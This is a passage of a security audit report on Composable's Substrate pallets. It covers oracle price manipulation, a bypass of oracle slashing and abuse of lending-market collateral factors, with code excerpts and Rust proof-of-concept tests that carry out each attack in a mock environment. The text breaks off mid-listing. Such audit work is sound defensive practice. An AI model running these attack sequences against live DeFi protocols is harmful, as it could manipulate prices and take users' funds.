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# EXECUTIVE OVERVIEW

## 1.1 INTRODUCTION

**Composable** engaged Halborn to conduct a security assessment on their main Substrate pallets on February 29th, 2022 and ending April 29th, 2022. **Composable** is a cross-chain and cross-layer interoperability platform which aims to resolve the current problem of a lack of cohesion between different decentralized finance (DeFi) protocols.

## 1.2 AUDIT SUMMARY

The team at Halborn was provided 8 weeks for the engagement and assigned one full-time security engineer to audit the security of the assets in scope. The engineer is a blockchain and smart contract security expert with advanced penetration testing, smart-contract hacking, and in-depth knowledge of multiple blockchain protocols.

The purpose of this audit is to achieve the following:

- Identify potential security issues within the main Composable pallets.

In summary, Halborn identified few security risks that should be addressed by the **Composable** team.

## 1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of the Bridge Substrate pallet. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into the architecture, purpose, and use of the platform.
- Smart contract manual code review and walkthrough to identify any logic issue.
- Mapping out possible attack vectors
- Thorough assessment of safety and usage of critical Rust variables and functions in scope that could led to arithmetic vulnerabilities.
- Finding unsafe Rust code usage (`cargo-geiger`)
- On chain testing of core functions(`polkadot.js`).
- Active Fuzz testing {`cargo-fuzz`, `honggfuzz`}
- Scanning dependencies for known vulnerabilities (`cargo audit`).

#### RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

#### RISK SCALE - LIKELIHOOD

- 5 - Almost certain an incident will occur.
- 4 - High probability of an incident occurring.
- 3 - Potential of a security incident in the long term.
- 2 - Low probability of an incident occurring.
- 1 - Very unlikely issue will cause an incident.

#### RISK SCALE - IMPACT

- 5 - May cause devastating and unrecoverable impact or loss.
- 4 - May cause a significant level of impact or loss.

- 3 - May cause a partial impact or loss to many.
- 2 - May cause temporary impact or loss.
- 1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
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- 10 - CRITICAL
- 9 - 8 - HIGH
- 7 - 6 - MEDIUM
- 5 - 4 - LOW
- 3 - 1 - VERY LOW AND INFORMATIONAL

## 1.4 SCOPE

The review was scoped to the `pallets` directory using `854b59598fb4e44b2ed4540e93365fbc2074b99e` commit-id in `ComposableFi/composable` repository.

- Pallets
  - Assets
  - Bonded Finance
  - Dutch Auction
  - Oracle
  - Vesting
  - Dex-router
  - Mosaic
  - • Helper pallet functions

## 2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
3	2	1	10	1

### LIKELIHOOD

### IMPACT

				(HAL-01) (HAL-02) (HAL-03)
			(HAL-06)	(HAL-04) (HAL-05)
	(HAL-08) (HAL-09) (HAL-10) (HAL-11) (HAL-12) (HAL-13) (HAL-14) (HAL-15) (HAL-16)			
(HAL-17)		(HAL-07)		

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
HAL-01 IMPROPER PRICE CALCULATION LEADS TO MULTIPLE VULNERABILITIES	Critical	-
HAL-02 ORACLE SLASHING MECHANISM BYPASS	Critical	-
HAL-03 IMPROPER LENDING MARKET CONFIGURATION LEADS TO MULTIPLE VULNERABILITIES	Critical	-
HAL-04 OFFER CREATION WITH THE SAME ASSET	High	-
HAL-05 DUTCH AUCTION CREATION WITH THE SAME ASSET	High	-
HAL-06 COLLATERAL FACTOR CAN BE SET SMALLER THAN TWO	Medium	-
HAL-07 MISSING ACCESS CONTROL LEADS TO PRICE MANIPULATION	Medium	-
HAL-08 ASSET MAPPING WITH NON-EXISTING ASSET ID	Low	-
HAL-09 MISSING 'transactional' MACRO	Low	-
HAL-10 VESTING TRANSFER TO CALLER ACCOUNT	Low	-
HAL-11 DUPLICATE ROUTES ALLOWED	Low	-
HAL-12 UPDATE/CREATE ROUTES WITH NON-EXISTING TOKENS	Low	-
HAL-13 CREATE DUPLICATE POOL WITH SAME PAIR	Low	-
HAL-14 ZERO AMOUNT COLLATERAL DEPOSIT	Low	-
HAL-15 MISSING ZERO VALUE CHECK	Low	-
HAL-16 TRANSFER TO CALLER ACCOUNT	Low	-

HAL-17 POSSIBLE ERROR AFTER  
CRITICAL FUNCTION

Informational

-

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# FINDINGS & TECH DETAILS



### 3.1 (HAL-01) IMPROPER PRICE CALCULATION LEADS TO MULTIPLE VULNERABILITIES - CRITICAL

#### Description:

The `Oracle` pallet is responsible for calculating prices for an asset. It is observed that it inappropriately calculates price, which leads to multiple undesired scenarios. The price itself is calculated at the end of each block if new prices were submitted and there were enough. The resulting price is a median of a sorted vector containing all proposed prices. To prevent malicious Oracles from manipulating the asset's price, every proposal which would not be in the acceptable range results in a slash of Oracle balance. However, two scenarios are possible where this mechanism can be exploited.

Suppose exactly half of the proposed prices would be malicious, i.e., substantially increasing or decreasing an asset's price. In that case, all Oracles might get slashed, regardless if they submitted a plausible price or not.

On the other hand, if most of the proposed prices were malicious, then such a situation would result in legitimate Oracles getting slashed.

Additionally, executing such attacks is as easy as anyone with enough balance can become an Oracle.

#### Code Location:

Listing 1: `frame/oracle/src/lib.rs` (Line 785)

```
775 pub fn update_price(  
776     asset_id: T::AssetId,  
777     asset_info: AssetInfo<Percent, T::BlockNumber, BalanceOf<T>>,  
778     block: T::BlockNumber,  
779     pre_prices: Vec<PrePrice<T::PriceValue, T::BlockNumber, T::  
    ↳ AccountId>>,
```

```

780 ) -> DispatchResult {
781     // There can convert pre_prices.len() to u32 safely
782     // because pre_prices.len() limited by u32
783     // (type of AssetsInfo::<T>::get(asset_id).max_answers).
784     if pre_prices.len() as u32 >= asset_info.min_answers {
785         if let Some(price) = Self::get_median_price(&pre_prices) {
786             Prices::<T>::insert(asset_id, Price { price, block });
787             PriceHistory::<T>::try_mutate(asset_id, |prices| ->
788                 ↳ DispatchResult {
789                     if prices.len() as u32 >= T::MaxHistory::get() {
790                         prices.remove(0);
791                     }
792                     if block != 0_u32.into() {
793                         prices
794                             .try_push(Price { price, block })
795                             .map_err(|_| Error::<T>::MaxHistory)?;
796                     }
797                     Ok(())
798                 })?;
799             PrePrices::<T>::remove(asset_id);
800             Self::handle_payout(&pre_prices, price, asset_id, &
801                 ↳ asset_info);
802         }
803         Ok(())
804     }

```

#### Listing 2: frame/oracle/src/lib.rs

```

844 pub fn get_median_price(
845     prices: &[PrePrice<T::PriceValue, T::BlockNumber, T::AccountId
846     ↳ >],
847 ) -> Option<T::PriceValue> {
848     if prices.is_empty() {
849         return None
850     }
851     let mut numbers: Vec<T::PriceValue> =
852         prices.iter().map(|current_prices| current_prices.price).
853         ↳ collect();
854     numbers.sort_unstable();
855

```

```

856     let mid = numbers.len() / 2;
857     if numbers.len() % 2 == 0 {
858         #[allow(clippy::indexing_slicing)] // mid is less than the
↳ len (len/2)
859         Some(numbers[mid - 1].saturating_add(numbers[mid]) / 2_u32
↳ .into())
860     } else {
861         #[allow(clippy::indexing_slicing)] // mid is less than the
↳ len (len/2)
862         Some(numbers[mid])
863     }
864 }

```

### Proof Of Concept:

#### Listing 3

```

1  #[test]
2  fn halborn_test_price_manipulation() {
3      new_test_ext().execute_with(|| {
4          const ASSET_ID: u128 = 0;
5          const MIN_ANSWERS: u32 = 3;
6          const MAX_ANSWERS: u32 = 5;
7          const THRESHOLD: Percent = Percent::from_percent(80);
8          const BLOCK_INTERVAL: u64 = 5;
9          const REWARD: u64 = 5;
10         const SLASH: u64 = 5;
11
12         let account_1 = get_account_1();
13         let account_2 = get_account_2();
14         let account_4 = get_account_4();
15         let account_5 = get_account_5();
16
17         assert_ok!(Oracle::add_asset_and_info(
18             Origin::signed(account_2),
19             ASSET_ID,
20             Validated::new(THRESHOLD).unwrap(),
21             Validated::new(MIN_ANSWERS).unwrap(),
22             Validated::new(MAX_ANSWERS).unwrap(),
23             Validated::<BlockNumber, ValidBlockInterval<StalePrice
↳ >>::new(BLOCK_INTERVAL).unwrap(),
24             REWARD,

```

```

25         SLASH
26     ));
27
28     System::set_block_number(6);
29
30     assert_ok!(Oracle::set_signer(Origin::signed(account_2),
↳ account_1));
31     assert_ok!(Oracle::set_signer(Origin::signed(account_1),
↳ account_2));
32     assert_ok!(Oracle::set_signer(Origin::signed(account_5),
↳ account_4));
33     assert_ok!(Oracle::set_signer(Origin::signed(account_4),
↳ account_5));
34
35     assert_ok!(Oracle::add_stake(Origin::signed(account_1),
↳ 50));
36     assert_ok!(Oracle::add_stake(Origin::signed(account_2),
↳ 50));
37     assert_ok!(Oracle::add_stake(Origin::signed(account_4),
↳ 50));
38     assert_ok!(Oracle::add_stake(Origin::signed(account_5),
↳ 50));
39
40     let balance1 = Balances::free_balance(account_1);
41     let balance2 = Balances::free_balance(account_2);
42     let balance4 = Balances::free_balance(account_4);
43     let balance5 = Balances::free_balance(account_5);
44     println!("BALANCES before price submissions");
45     println!("1: {}", balance1);
46     println!("2: {}", balance2);
47     println!("4: {}", balance4);
48     println!("5: {}", balance5);
49
50     // Scenario 1: 50% of Oracles are malicious
51     assert_ok!(Oracle::submit_price(Origin::signed(account_1),
↳ 100_u128, 0_u128));
52     assert_ok!(Oracle::submit_price(Origin::signed(account_2),
↳ 100_u128, 0_u128));
53     assert_ok!(Oracle::submit_price(Origin::signed(account_4),
↳ 900_u128, 0_u128));
54     assert_ok!(Oracle::submit_price(Origin::signed(account_5),
↳ 900_u128, 0_u128));
55
56     System::set_block_number(7);

```

```
57     Oracle::on_initialize(7);
58     let res = Oracle::get_price(0, 1).unwrap();
59     println!("PRICE: {} | BLOCK: {}", res.price, res.block);
60     let balance1 = Balances::free_balance(account_1);
61     let balance2 = Balances::free_balance(account_2);
62     let balance4 = Balances::free_balance(account_4);
63     let balance5 = Balances::free_balance(account_5);
64     println!("BALANCES after price submission with 50% of
↳ malicious oracles (all Oracles are slashed):");
65     println!("1 (legitimate): {}", balance1);
66     println!("2 (legitimate): {}", balance2);
67     println!("4 (malicious): {}", balance4);
68     println!("5 (malicious): {}", balance5);
69
70     // Scenario 2: >50% of Oracles are malicious
71     System::set_block_number(13);
72
73     assert_ok!(Oracle::submit_price(Origin::signed(account_1),
↳ 100_u128, 0_u128));
74     assert_ok!(Oracle::submit_price(Origin::signed(account_4),
↳ 900_u128, 0_u128));
75     assert_ok!(Oracle::submit_price(Origin::signed(account_5),
↳ 900_u128, 0_u128));
76
77     System::set_block_number(14);
78     Oracle::on_initialize(14);
79
80     let res = Oracle::get_price(0, 1).unwrap();
81     println!("PRICE: {} | BLOCK: {}", res.price, res.block);
82     let balance1 = Balances::free_balance(account_1);
83     let balance4 = Balances::free_balance(account_4);
84     let balance5 = Balances::free_balance(account_5);
85     println!("BALANCES after price submission with >50% of
↳ malicious oracles (legitimate oracles are slashed and malicious
↳ oracles are rewarded):");
86     println!("1 (legitimate): {}", balance1);
87     println!("4 (malicious): {}", balance4);
88     println!("5 (malicious): {}", balance5);
89 });
90 }
```

**Risk Level:****Likelihood - 5****Impact - 5****Recommendation:**

It is recommended to calculate the new price as an average instead of a median, without considering the ones that are getting slashed. To determine which Oracles should get slashed, all prices should be considered. Then, if at least a specific number of the prices do not differ by more than a specified threshold, a price submission should be regarded as valid. Oracles that proposed a price within the threshold should be rewarded, and other Oracles should get slashed. This solution would not eliminate the second scenario. However, it would be more challenging to execute with a sufficient threshold defined.

## 3.2 (HAL-02) ORACLE SLASHING MECHANISM BYPASS – CRITICAL

### Description:

The `Oracle` pallet is responsible for calculating prices for an asset implements a slashing mechanism that is designed to disincentivize malicious users from trying to manipulate the price. If the proposed price is not in the valid range from the newly chosen price (defined per asset), Oracle, who submitted that price, would lose a portion of its tokens.

However, the tokens are not subtracted from the staked balance but the free balance. If there is no free balance in the user's account, slash would not be completed.

For example, a malicious Oracle might stake all of its tokens. Then Oracle might send an invalid price proposal, manipulating the market. In such a scenario, an `Oracle` pallet would not be able to punish the malicious Oracle, who then may unstake the tokens and receive the initially staked tokens without penalties.

### Code Location:

Listing 4: `frame/oracle/src/lib.rs` (Lines 689-700)

```
675 pub fn handle_payout(
676     pre_prices: &[PrePrice<T::PriceValue, T::BlockNumber, T::
        ↳ AccountId>],
677     price: T::PriceValue,
678     asset_id: T::AssetId,
679     asset_info: &AssetInfo<Percent, T::BlockNumber, BalanceOf<T>>,
680 ) {
681     for answer in pre_prices {
682         let accuracy: Percent = if answer.price < price {
683             PerThing::from_rational(answer.price, price)
684         } else {
685             let adjusted_number = price.saturating_sub(answer.
        ↳ price - price);
```



```

686         PerThing::from_rational(adjusted_number, price)
687     };
688     let min_accuracy = asset_info.threshold;
689     if accuracy < min_accuracy {
690         let slash_amount = asset_info.slash;
691         let try_slash = T::Currency::can_slash(&answer.who,
692         ↪ slash_amount);
693         if !try_slash {
694             log::warn!("Failed to slash {:?}", answer.who);
695         }
696         T::Currency::slash(&answer.who, slash_amount);
697         Self::deposit_event(Event::UserSlashed(
698             answer.who.clone(),
699             asset_id,
700             slash_amount,
701         ));
702     } else {
703         let reward_amount = asset_info.reward;
704         let controller = SignerToController::<T>::get(&answer.
705         ↪ who)
706             .unwrap_or_else(|| answer.who.clone());
707         let result = T::Currency::deposit_into_existing(&
708         ↪ controller, reward_amount);
709         if result.is_err() {
710             log::warn!("Failed to deposit {:?}", controller);
711         }
712         Self::deposit_event(Event::UserRewarded(
713             answer.who.clone(),
714             asset_id,
715             reward_amount,
716         ));
717     };
718     Self::remove_price_in_transit(&answer.who, asset_info)
719 }

```

## Proof Of Concept:

Listing 5

```

1 #[test]
2 fn halborn_test_escape_slashing() {
3     new_test_ext().execute_with(|| {
4         const ASSET_ID: u128 = 0;
5         const MIN_ANSWERS: u32 = 3;
6         const MAX_ANSWERS: u32 = 5;
7         const THRESHOLD: Percent = Percent::from_percent(80);
8         const BLOCK_INTERVAL: u64 = 5;
9         const REWARD: u64 = 5;
10        const SLASH: u64 = 5;
11
12        let account_1 = get_account_1();
13        let account_2 = get_account_2();
14        let account_4 = get_account_4();
15        let account_5 = get_account_5();
16
17        assert_ok!(Oracle::add_asset_and_info(
18            Origin::signed(account_2),
19            ASSET_ID,
20            Validated::new(THRESHOLD).unwrap(),
21            Validated::new(MIN_ANSWERS).unwrap(),
22            Validated::new(MAX_ANSWERS).unwrap(),
23            Validated::<BlockNumber, ValidBlockInterval<StalePrice
↳ >>::new(BLOCK_INTERVAL).unwrap(),
24            REWARD,
25            SLASH
26        ));
27
28        let balance1 = Balances::free_balance(account_1);
29        let balance2 = Balances::free_balance(account_2);
30        let balance4 = Balances::free_balance(account_4);
31        let balance5 = Balances::free_balance(account_5);
32        println!("BALANCES before staking");
33        println!("1: {}", balance1);
34        println!("2: {}", balance2);
35        println!("4: {}", balance4);
36        println!("5: {}", balance5);
37
38        System::set_block_number(6);
39        assert_ok!(Oracle::set_signer(Origin::signed(account_2),
↳ account_1));

```

```

40         assert_ok!(Oracle::set_signer(Origin::signed(account_1),
↳ account_2));
41         assert_ok!(Oracle::set_signer(Origin::signed(account_5),
↳ account_4));
42         assert_ok!(Oracle::set_signer(Origin::signed(account_4),
↳ account_5));
43
44         assert_ok!(Oracle::add_stake(Origin::signed(account_1),
↳ 50));
45         assert_ok!(Oracle::add_stake(Origin::signed(account_2),
↳ 50));
46         assert_ok!(Oracle::add_stake(Origin::signed(account_4),
↳ 99));
47         assert_ok!(Oracle::add_stake(Origin::signed(account_5),
↳ 50));
48
49         let balance1 = Balances::free_balance(account_1);
50         let balance2 = Balances::free_balance(account_2);
51         let balance4 = Balances::free_balance(account_4);
52         let balance5 = Balances::free_balance(account_5);
53         println!("BALANCES before price submissions");
54         println!("1: {}", balance1);
55         println!("2: {}", balance2);
56         println!("4: {}", balance4);
57         println!("5: {}", balance5);
58
59         assert_ok!(Oracle::submit_price(Origin::signed(account_1),
↳ 100_u128, 0_u128));
60         assert_ok!(Oracle::submit_price(Origin::signed(account_2),
↳ 100_u128, 0_u128));
61         // Proposing price of 4000 would result in getting slashed
62         assert_ok!(Oracle::submit_price(Origin::signed(account_4),
↳ 4000_u128, 0_u128));
63
64         System::set_block_number(7);
65         Oracle::on_initialize(7);
66         let res = Oracle::get_price(0, 1).unwrap();
67         println!("AFTER 1st SUBMIT PRICE - PRICE: {} | BLOCK: {}",
↳ res.price, res.block);
68         let balance1 = Balances::free_balance(account_1);
69         let balance2 = Balances::free_balance(account_2);
70         let balance4 = Balances::free_balance(account_4);
71         let balance5 = Balances::free_balance(account_5);
72         println!("BALANCES after price submissions");

```

```

73     println!("1: {}", balance1);
74     println!("2: {}", balance2);
75     println!("4: {}", balance4);
76     println!("5: {}", balance5);
77
78     assert_ok!(Oracle::remove_stake(Origin::signed(account_4))
↳ );
79
80     System::set_block_number(40);
81     assert_ok!(Oracle::reclaim_stake(Origin::signed(account_4)
↳ ));
82
83     let balance2 = Balances::free_balance(account_2);
84     let balance4 = Balances::free_balance(account_4);
85     let balance5 = Balances::free_balance(account_5);
86     println!("BALANCES after account_4 removed stake:");
87     println!("1: {}", balance1);
88     println!("2: {}", balance2);
89     println!("4: {}", balance4);
90     println!("5: {}", balance5);
91 });
92 }

```

**Risk Level:****Likelihood - 5****Impact - 5****Recommendation:**

It is recommended to implement the slashing mechanism to subtract penalties from the staked tokens. Furthermore, the `submit_price` function should check that the amount of staked tokens is greater or equal to the potential slash amount for a given asset.

### 3.3 (HAL-03) IMPROPER LENDING MARKET CONFIGURATION – CRITICAL

#### Description:

Inside the `lending` pallet, using the `update_market` function, market owners can edit the `collateral_factor`. The `should_liquidate` function calculates liquidation according to the last factor determined by the market owner, not the collateral factor of the time the borrowing takes place.

Using this market, owner can create a market with a collateral factor of two (minimum allowed); after borrowers borrow assets, the owner can edit the `collateral_factor` anything bigger than two and instantly make liquidation available.

When liquidation becomes available, borrowers are no longer be able to withdraw their deposit collateral even if liquidation was not triggered.

This market configuration may also result in different types of vulnerabilities.

#### Code Location:

Listing 6: `frame/lending/src/models.rs` (Line 579)

```
569     pub fn update_market(  
570         origin: OriginFor<T>,  
571         market_id: MarketIndex,  
572         input: UpdateInput<T::LiquidationStrategyId>,  
573     ) -> DispatchResultWithPostInfo {  
574         let who = ensure_signed(origin)?;  
575         Markets::<T>::mutate(&market_id, |market| {  
576             if let Some(market) = market {  
577                 ensure!(who == market.manager, Error::  
578                     ↳ Unauthorized);  
579                 market.collateral_factor = input.  
580                     ↳ collateral_factor;  
580                 market.interest_rate_model = input.
```

```

    ↪ interest_rate_model;
581         market.under_collateralized_warn_percent = input
    ↪ .under_collateralized_warn_percent;
582         market.liquidators = input.liquidators.clone()
    ↪ ;
583         Ok(())
584     } else {
585         Err(Error::::MarketDoesNotExist)
586     }
587 }}?;
588 Self::deposit_event(Event::::MarketUpdated {
    ↪ market_id, input });
589     Ok(().into())
590 }

```

Listing 7: frame/lending/src/models.rs (Line 50)

```

44     /// Determines whether the loan should trigger a liquidation.
45     #[inline(always)]
46     pub fn should_liquidate(&self) -> Result<bool, ArithmeticError
    ↪ > {
47         if self.borrow_balance_value == 0.into() {
48             Ok(false)
49         } else {
50             Ok(self.current_collateral_ratio()? < self.
    ↪ collateral_factor)
51         }
52     }

```

Listing 8: frame/lending/src/lib.rs (Line 831)

```

825     pub fn liquidate_internal(
826         liquidator: &<Self as DeFiEngine>::AccountId,
827         market_id: &<Self as Lending>::MarketId,
828         borrowers: Vec<&Self as DeFiEngine>::AccountId>,
829     ) -> Result<(), DispatchError> {
830         for account in borrowers.iter() {
831             if Self::should_liquidate(market_id, account)? {
832                 let market = Self::get_market(market_id)?;
833                 let borrow_asset = T::Vault::asset_id(&market.
    ↪ borrow)?;
834                 let collateral_to_liquidate = Self::
    ↪ collateral_of_account(market_id, account)?;

```

```

835         let source_target_account = Self::account_id(
            ↳ market_id);
836         let unit_price =
837             T::Oracle::get_ratio(CurrencyPair::new(
            ↳ market.collateral, borrow_asset));
838         let sell = Sell::new(
839             market.collateral,
840             borrow_asset,
841             collateral_to_liquidate,
842             unit_price,
843         );
844         T::Liquidation::liquidate(&
            ↳ source_target_account, sell, market.liquidators)?;
845
846         if let Some(deposit) = BorrowRent::<T>::get(
            ↳ market_id, account) {
847             let market_account = Self::account_id(
            ↳ market_id);
848             <T as Config>::NativeCurrency::transfer(
            ↳ &market_account,
849             ↳ liquidator,
850             ↳ deposit,
851             ↳ false,
852             ↳ )?;
853         }
854     }
855 }
856 }
857 Ok(())
858 }

```

Listing 9: frame/lending/src/lib.rs (Lines 1580-1583)

```

1552 fn withdraw_collateral(
1553     market_id: &Self::MarketId,
1554     account: &Self::AccountId,
1555     amount: CollateralLpAmountOf<Self>,
1556 ) -> Result<(), DispatchError> {
1557     let market = Self::get_market(market_id)?;
1558
1559     let collateral_balance = AccountCollateral::<T>::
            ↳ try_get(market_id, account)
1560         .unwrap_or_else(|_| CollateralLpAmountOf::<Self>::
            ↳ zero());
1561 }

```

```

1562         ensure!(amount <= collateral_balance, Error::::
↳ NotEnoughCollateral);
1563
1564         let borrow_asset = T::Vault::asset_id(&market.borrow)
↳ ?;
1565         let borrower_balance_with_interest = Self::
↳ borrow_balance_current(market_id, account)?
1566             .unwrap_or_else(BorrowAmountOf::::zero);
1567         let borrow_balance_value =
1568             Self::get_price(borrow_asset,
↳ borrower_balance_with_interest)?;
1569
1570         let collateral_balance_after_withdrawal_value =
1571             Self::get_price(market.collateral,
↳ collateral_balance.safe_sub(&amount)?)?;
1572
1573         let borrower_after_withdrawal = BorrowerData::new(
1574             collateral_balance_after_withdrawal_value,
1575             borrow_balance_value,
1576             market.collateral_factor,
1577             market.under_collateralized_warn_percent,
1578         );
1579
1580         ensure!(
1581             !borrower_after_withdrawal.should_liquidate()?,
1582             Error::::NotEnoughCollateral
1583         );
1584         ...

```

Proof Of Concept:

#### Listing 10

```

1  #[test]
2  fn market_owner_profits_by_liquidate() {
3      new_test_ext().execute_with(|| {
4          System::set_block_number(1);
5          let (market_id, _vault_id) = create_simple_market();
6
7          let borrow_asset = BTC::ID;
8          let collateral_asset = USDT::ID;
9

```



```

10     let expected = 50_000 * USDT::one();
11     set_price(BTC::ID, expected);
12     set_price(USDT::ID, USDT::one());
13     let market_account = Lending::account_id(&market_id);
14
15     //deposit USDT to BOB and CHARLIE account
16     let deposit_usdt = 2_000_00;
17     assert_ok!(Tokens::mint_into(USDT::ID, &BOB, deposit_usdt)
18 ↪ );
19     assert_ok!(Tokens::mint_into(USDT::ID, &CHARLIE,
20 ↪ deposit_usdt));
21
22     //print initial market BOB account USDT balance
23     let market_total_cash = Lending::total_cash(&market_id).
24 ↪ unwrap();
25
26     let bob_usdt_balance = Tokens::balance(USDT::ID, &BOB);
27     let bob_btc_balance = Tokens::balance(BTC::ID, &BOB);
28     let bob_collateral_amount = Lending::collateral_of_account
29 ↪ (&market_id, &BOB);
30
31     let charlie_usdt_balance = Tokens::balance(USDT::ID, &
32 ↪ CHARLIE);
33     let charlie_btc_balance = Tokens::balance(BTC::ID, &
34 ↪ CHARLIE);
35     let charlie_collateral_amount = Lending::
36 ↪ collateral_of_account(&market_id, &CHARLIE);
37
38     let ratio = <Oracle as composable_traits::oracle::Oracle
39 ↪ >::get_ratio(CurrencyPair::new(collateral_asset, borrow_asset));
40     println!("INITIAL market total cash: {:?}"
41 ↪ , market_total_cash);
42
43     println!("INITIAL BOB USDT Balance: {:?}"
44 ↪ , bob_usdt_balance);
45     println!("INITIAL BOB BTC Balance: {:?}"
46 ↪ , bob_btc_balance);
47
48     println!("INITIAL BOB deposited collateral amount: {:?}"
49 ↪ , bob_collateral_amount);
50
51     println!("INITIAL CHARLIE USDT Balance: {:?}"
52 ↪ , charlie_usdt_balance);
53     println!("INITIAL CHARLIE BTC Balance: {:?}"
54 ↪ , charlie_btc_balance);

```

```

40         println!("INITIAL CHARLIE deposited collateral amount:
↳ {:?}", charlie_collateral_amount);
41
42         println!("INITIAL collateral-borrow asset ratio {:?}",
↳ ratio);
43
44         println!("***");
45
46
47         //Deposit 200000 USDT amount collateral from BOB
48         let collateral_deposit_amount = 200000;
49         assert_ok!(Lending::deposit_collateral_internal(&market_id
↳ , &BOB, collateral_deposit_amount));
50         assert_ok!(Lending::deposit_collateral_internal(&market_id
↳ , &CHARLIE, collateral_deposit_amount));
51
52         println!("BOB and CHARLIE each deposited {:?} collateral
↳ USDT", collateral_deposit_amount);
53         println!("***");
54
55         let bob_usdt_balance = Tokens::balance(USDT::ID, &BOB);
56         let bob_collateral_amount = Lending::collateral_of_account
↳ (&market_id, &BOB);
57         let bob_borrow_limit = Lending::get_borrow_limit(&
↳ market_id, &BOB);
58
59         let charlie_usdt_balance = Tokens::balance(USDT::ID, &
↳ CHARLIE);
60         let charlie_collateral_amount = Lending::
↳ collateral_of_account(&market_id, &CHARLIE);
61         let charlie_borrow_limit = Lending::get_borrow_limit(&
↳ market_id, &CHARLIE);
62
63         let ratio = <Oracle as composable_traits::oracle::Oracle
↳ >::get_ratio(CurrencyPair::new(collateral_asset, borrow_asset));
64         let should_liquidate = Lending::should_liquidate(&market_id
↳ , &BOB);
65
66         println!("AFTER COLLATERAL DEPOSIT BOB USDT Balance: {:?}"
↳ , bob_usdt_balance);
67         println!("AFTER COLLATERAL DEPOSIT BOB's collateral amount
↳ in market: {:?}", bob_collateral_amount);
68         println!("AFTER COLLATERAL DEPOSIT BOB's borrow limit:
↳ {:?}", bob_borrow_limit);

```

```

69
70     println!("AFTER COLLATERAL DEPOSIT CHARLIE USDT Balance:
↳ {:?}", charlie_usdt_balance);
71     println!("AFTER COLLATERAL DEPOSIT CHARLIE's collateral
↳ amount in market: {:?}", charlie_collateral_amount);
72     println!("AFTER COLLATERAL DEPOSIT CHARLIE's borrow limit:
↳ {:?}", charlie_borrow_limit);
73
74     println!("AFTER COLLATERAL DEPOSIT should_liqudate: {:?}",
↳ should_liqudate);
75     println!("AFTER COLLATERAL DEPOSIT collateral-borrow asset
↳ ratio {:?}", ratio);
76     println!("***");
77
78     //BOB borrows max amount
79     assert_ok!(Lending::borrow_internal(&market_id, &BOB, 2));
80     assert_ok!(Lending::borrow_internal(&market_id, &CHARLIE,
↳ 2));
81
82     let market_total_cash = Lending::total_cash(&market_id).
↳ unwrap();
83
84     let bob_usdt_balance = Tokens::balance(USDT::ID, &BOB);
85     let bob_btc_balance = Tokens::balance(BTC::ID, &BOB);
86     let bob_repay_amount = Lending::borrow_balance_current(&
↳ market_id, &BOB).unwrap();
87     let bob_collateral_amount = Lending::collateral_of_account
↳ (&market_id, &BOB);
88
89     let charlie_usdt_balance = Tokens::balance(USDT::ID, &
↳ CHARLIE);
90     let charlie_btc_balance = Tokens::balance(BTC::ID, &
↳ CHARLIE);
91     let charlie_repay_amount = Lending::borrow_balance_current
↳ (&market_id, &CHARLIE).unwrap();
92     let charlie_collateral_amount = Lending::
↳ collateral_of_account(&market_id, &CHARLIE);
93
94     let total_borrows = Lending::total_borrows(&market_id).
↳ unwrap();
95
96     let ratio = <Oracle as composable_traits::oracle::Oracle
↳ >::get_ratio(CurrencyPair::new(collateral_asset, borrow_asset));
97

```

```

98         println!("AFTER BORROW Market total cash: {:?}",
↳ market_total_cash);
99         println!("AFTER BORROW Markets total borrows: {:?}",
↳ total_borrows);
100
101         println!("AFTER BORROW BOB USDT Balance: {:?}",
↳ bob_usdt_balance);
102         println!("AFTER BORROW BOB BTC Balance: {:?}",
↳ bob_btc_balance);
103         println!("AFTER BORROW BOB borrow balance current: {:?}",
↳ bob_repay_amount);
104         println!("AFTER BORROW BOB collateral amount: {:?}",
↳ bob_collateral_amount);
105
106         println!("AFTER BORROW CHARLIE USDT Balance: {:?}",
↳ charlie_usdt_balance);
107         println!("AFTER BORROW CHARLIE BTC Balance: {:?}",
↳ charlie_btc_balance);
108         println!("AFTER BORROW CHARLIE borrow balance current:
↳ {:?}" , charlie_repay_amount);
109         println!("AFTER BORROW CHARLIE collateral amount: {:?}",
↳ charlie_collateral_amount);
110
111         println!("AFTER BORROW collateral-borrow asset ratio {:?}",
↳ , ratio);
112         println!("***");
113
114
115         //Update collateral factor bigger than 2
116         let collateral_factor = MoreThanOneFixedU128::
↳ saturating_from_rational(200, 99);
117         let manager = *ALICE;
118         let updatable = UpdateInput {
119             collateral_factor,
120             under_collaterized_warn_percent: Percent::from_float
↳ (1.1),
121             liquidators: vec![],
122             interest_rate_model: InterestRateModel::default(),
123         };
124         let updated = Lending::update_market(
125             Origin::signed(manager),
126             market_id,
127             updatable,
128         );

```

```

129         assert_ok!(updated);
130
131         println!("Markets collateral factor is update from 2 to :
↳ {:?}" , collateral_factor);
132
133
134         let should_liquidate = Lending::should_liquidate(&market_id
↳ , &BOB);
135         println!("AFTER MARKET FACTOR UPDATE Should liquidate :
↳ {:?}" , should_liquidate);
136         println!("Borrowers cannot withdraw their collateral right
↳ now");
137
138         println!("***");
139         println!("Liquidate start");
140         println!("BEFORE LIQUIDATE market account reversed USDT
↳ balance: {:?}" , Tokens::reserved_balance(USDT::ID, &market_account
↳ ));
141         let ratio = <Oracle as composable_traits::oracle::Oracle
↳ >::get_ratio(CurrencyPair::new(collateral_asset, borrow_asset));
142
143         assert_ok!(Lending::liquidate_internal(&ALICE, &market_id,
↳ vec![*BOB, *CHARLIE]));
144
145         let market_total_cash = Lending::total_cash(&market_id).
↳ unwrap();
146         let bob_collateral_amount = Lending::collateral_of_account
